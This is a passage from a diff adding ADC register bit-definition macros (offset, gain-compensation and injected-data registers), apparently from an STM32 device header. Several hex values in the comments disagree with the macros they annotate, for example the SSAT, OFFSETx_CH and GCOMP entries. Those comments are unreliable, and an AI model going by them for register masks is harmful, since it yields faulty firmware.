ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 